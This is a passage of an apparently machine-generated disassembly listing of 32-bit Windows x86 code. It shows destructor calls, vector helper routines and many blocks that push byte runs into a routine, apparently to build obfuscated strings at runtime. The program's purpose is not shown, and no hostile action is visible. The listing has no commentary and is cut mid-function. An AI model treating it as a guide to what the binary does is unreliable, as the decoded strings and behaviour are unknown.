		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+388h], 36h
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		mov	byte ptr [esp+394h], 3Ah
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D634F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		mov	byte ptr [esp+378h], 43h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		mov	byte ptr [esp+37Ch], 4Ch
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019B5
		add	esp, 60h
		mov	byte ptr [esp+370h], 50h
		mov	ecx, eax
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D634F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F30
		push	offset word_4E6E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4437F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		lea	edx, [esp+44h]
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E5A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_4473ED
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473A4
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_447280
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447312
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_4472C9
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44735B
		mov	ecx, offset word_448CD6
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D634F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_44747F
		mov	ecx, offset word_448CD6
		call	sub_401596
		lea	ecx, [esp+200h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_4094F8
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_4094F8:				; CODE XREF: sub_4094E0+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409520	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409520	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409550	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_409550	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_409570	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409590	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40959A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40959A:				; CODE XREF: sub_409590+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409610	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F088
		push	edx
		call	sub_4368D2
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409690	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40975B
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_4096C3
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_4096C5
; ---------------------------------------------------------------------------


loc_4096C3:				; CODE XREF: sub_409690+26j
		mov	ebp, edi


loc_4096C5:				; CODE XREF: sub_409690+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40975B:				; CODE XREF: sub_409690+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_4097B9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
